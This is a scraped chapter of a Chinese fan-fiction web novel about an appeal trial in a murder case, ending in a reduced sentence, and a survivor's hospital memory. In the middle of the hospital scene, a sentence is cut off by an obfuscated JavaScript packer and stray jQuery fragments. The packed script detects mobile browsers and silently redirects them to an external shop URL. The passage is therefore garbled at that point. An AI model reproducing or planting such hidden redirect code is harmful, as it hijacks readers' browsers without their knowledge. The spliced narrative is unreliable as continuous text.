文趣网 > 都市小说 > [综]有个问题想请教一下 > 105.二审判决
    斯特林悄悄咽了口唾沫,咽下那些现在不应该冒头的情绪化心理活动。

    然后他自信满满地站了起来。至少他的表情如此。

    他没再看赫莲娜。赫莲娜被法警带离证人席的时候,他反而在整理自己面前的几页文件——把它们在桌面上对齐,动作不紧不慢,就像是在为一场准备了很久的演讲做最后的温习。

    无论丹顿出了什么牌,结果都不会有改变了。

    旁听席上还有人在紧张地整理自己的仪容,后排那些电视台的记者正低着头飞快地往速记本上写着什么,笔尖划过纸面的沙沙声在死寂的法庭里显得格外刺耳。

    无论丹顿出了什么牌,结果都不会有改变了。对,就是这样。

    “尊敬的法官,各位陪审员。”斯特林的声音是如此恰到好处,这是他从大学时就一直刻苦磨练出来的最适合陈词的语速,“控方证人的证词,无疑是非常……具有冲击力的。在座的每一位,包括我自己在内,在听完她的陈述之后都无法无动于衷。”

    他停顿了一下,转过身,目光缓缓扫过陪审团席。那里已经彻底安静了下来,所有人又重新变得体面起来。

    “但各位是否注意到了一件事——这位证人用了很长时间,非常详细地描述了被告对她进行的所谓‘教学’。她说了很多。”斯特林往前走了一步,把手搭在自己面前的桌面上,语气从娓娓道来转为一种克制的、近乎遗憾的轻叹,“然而,在她的整段证词中,没有一句话、一个字,能够直接证明,被告就是杀害其他被害人的凶手。”

    但这样真的对吗?天呐雷蒙德·斯特林,现在是思考不着边际的问题的时候吗?

    旁听席上有人倒吸了一口气,似乎是在为这发言的大逆不道而震惊。霍布斯的手指在桌面上轻轻一扣,没有发出声音,但丹顿看到她指节上的青筋跳了一下。

    “你们只是在案发地遇到了我的委托人。”斯特林转过身,面对着整个法庭,音量提高了,在每个人的耳膜上清晰地敲击着,“你们找到了一些新近发生的罪证,找到了几个遭遇不幸的年轻人。这些我都不否认。但我实在无法忽略量刑中那巨大的漏洞——你们试图把所有那些在山上发现的尸体,那些陈年的、不同年代的、甚至有些根本无法确定死因的遗骸,全部安在我的委托人头上。所以我必须问一句:证据呢?直接证据在哪里?”

    他转回辩护席,拿起一份文件举起来。那是警方关于最早一批遗骸的法医报告。

    “没有指纹。没有DNA。没有目击证人。没有任何一件凶器上带有我的委托人的指纹。你们有的只是——我的委托人恰好住在那座山上。仅此而已。”他把文件放下来,声音忽然又放轻了,“各位,一审的判决就是在这样证据不足的情况下做出的。他们直接判下了无期徒刑这样的重刑!这不叫公正,这叫——”

    “反对。”霍布斯站起来,“辩护律师在质疑陪审团的裁决程序,这不是本次上诉的审理范围。”

    “反对有效。斯特林先生,请注意你的论述方向。”

    斯特林微微欠身,心里却很是不屑。他又重新坚定起来了。

    “法官阁下,我的论述方向和本案的审理范围完全一致。本次上诉的核心议题,正是初审中是否存在程序不公。”斯特林转向陪审团,“而没有什么不公,比一个没有直接证据就定罪的判决更值得重新审视。”

    休庭的铃声在十五分钟后响了。斯特林在法庭上自信地完成了一场出色的表演。

    狄奥多坐在旁听席上没有动。凯伦攥紧了自己的手包,丹尼尔的手杖横在膝盖上,三个人的手还握在一起,握了太久,手指的关节都已经僵硬了,好不容易才松开。

    走廊里变得喧闹起来。法警站在入口两侧,面无表情地扫视着旁听席。丹顿在自己的位置上面无表情地整理着资料。霍布斯不在房间里,她和法官都离开了法庭,去讨论最后的判决。

    二十五分钟。休庭持续了二十五分钟。

    法槌重新敲响的时候,法官的声音变得冷酷了起来。他宣读了合议庭的裁决,措辞正式,一字一句都义正词严。狄奥多听到了诸如“部分采纳辩护方意见”、“初审证据链存在薄弱环节”、“未能排除合理怀疑”的关键词——最后他听到了一个结果。二十五年。没有假释。

    旁听席上有人发出了古怪的声音,分不清是哭还是笑。后排那个记者站起来就往外跑,膝盖撞上了椅背,闷响一声,但没人回头看他。斯特林把手边的便签纸翻了个面,表情却沉重得有些古怪。

    狄奥多腾地站了起来。

    霍布斯的目光投了过来,直直地看向他只有眼睛泄露出愤怒的脸。

    她还坐在检察官席位上,目光难得的并不严厉,而是一种安抚的温和目光,伴随着下巴微微下压。像是无声地按住了狄奥多的肩膀。

    法警警惕的目光也投了过来。站在侧门旁边的那个年轻法警把手垂在了腰间,手指离警棍的握柄很近,但没有摸上去。

    凯伦的手在他站起来的那一刻拉住了他,用手指圈住他的手腕,死死地拉住了他。

    狄奥多依然面无表情地站在座位前。良久,他重新坐下来,把凯伦的手从自己手腕上拿下来,握在手里。

    一瞬间狄奥多想起自己在病房里醒来的那个朦胧的时刻。

    白色的天花板,消毒水的气味,绿色的窗帘,一起飘散摇曳着,就像一处童话故事中的幻景。

    狄奥多睁开眼,就像做了一个长梦,麻醉剂的效果让他飘飘然,感觉不到一丝原本应有的痛楚。

    直到他的记忆回笼。

    还没来得及痛苦,他就看到基甸站在病床边,逆着窗外照进来的光,留下一个模糊的轮廓看着他。他下意识想爬起来,但手刚撑在床上就被一只干燥的大手按住了。男人动作很轻,但力气很大,是不容商量

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717378|202170||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的那种按法。

    陌生的中年男人用温和的声音问他:“你还能想起来什么事吗?”

    狄奥多没有回答。他扯住了那只手的袖口,隐约觉得这个触感有点熟悉。

    “他们呢?”

    男孩的嗓子是哑的,费劲全力也只吐出了这三个单词。

    基甸没有说话。狄奥多看不到他的表情,病房里的光太朦胧了,狄奥多几乎以为眼前的一切是自己的幻觉。透过窗帘映照进来的阳光虚幻的笼罩着整个房间。基甸的手还按在他的手上,沉默了片刻。

    “我们找到了他们。”基甸终于说。但狄奥多觉得他没有明白他的沉默本身已经是一种回答。基甸的声音还是那么温和得不可动摇,但他在“找到”那个词上顿了一下,狄奥多听得一清二楚。

    基甸好意地做出了隐瞒,但狄奥多后来还是知道了,虽然是以阅读卷宗的形式。

    警察把菲奥娜放下来的时候,她早就已经没有呼吸了,凯伦留下的那句“还活着”成了她们给彼此留下的最后一面。狄奥多至今无法想象凯伦那时的心情,因为他知道,凯伦能认出那副模样的菲奥娜只有一种可能,就是她亲眼看着菲奥娜变成了那个样子。

    赫莲娜被找到的时候和布歇尔在同一片山坡上,两个人都是重伤昏迷。赫莲娜从后面追上来给了布歇尔狠狠一击——他教她怎么不留痕迹地接近猎物,而她用同样的方法接近了他。赫莲娜没能击倒布歇尔,但至少抢占了先机,他们互相残害了一会儿,在山坡上留下了一大片的血迹。等警察找到他们的时候,他们分不清谁是凶手、谁是受害者,因为在没有证人的情况下,两个浑身是血躺在地上失去意识的人看起来没有任何区别。死无对证。警方不得不等待他们苏醒,或者物证鉴定结果来拯救他们。

    于是此时此刻在病房里,狄奥多看着基甸从逆光里模糊的轮廓,敏锐地感觉到了这个成年男人对自己有一种极细微的警惕。

    他在怀疑我,至少是在审视我。

    狄奥多又冷静下来想了想。那是因为他不确定我是什么。人质,还是帮凶。受害者,还是共犯。

    看来我醒得很早。

    狄奥多又说:“七个人都找到了吗?我的朋友们,还有那个把我们绑起来的男人。”

    基甸立刻发现了男孩的防卫。他在心里打了个突,却又放低了一点对这个全场伤得最轻的男孩的怀疑——即便那只是必要的考量,但基甸已经很习惯于站在被自己提问的人的角度上思考问题了。他不是一个喜欢戳人痛处的人。

    “……看来你的记忆没什么问题,医生会很高兴听到这个消息。”探员斟酌了一会儿,“方便我问你一些问题吗?或者由你来告诉我,你们进山之后都发生了什么。”

    狄奥多睁开眼睛。他放开凯伦的手,盯着法警押解布歇尔的动作。直到法槌最后一次响起、判决尘埃落定的那一刻,他站起来,快步往门口走去。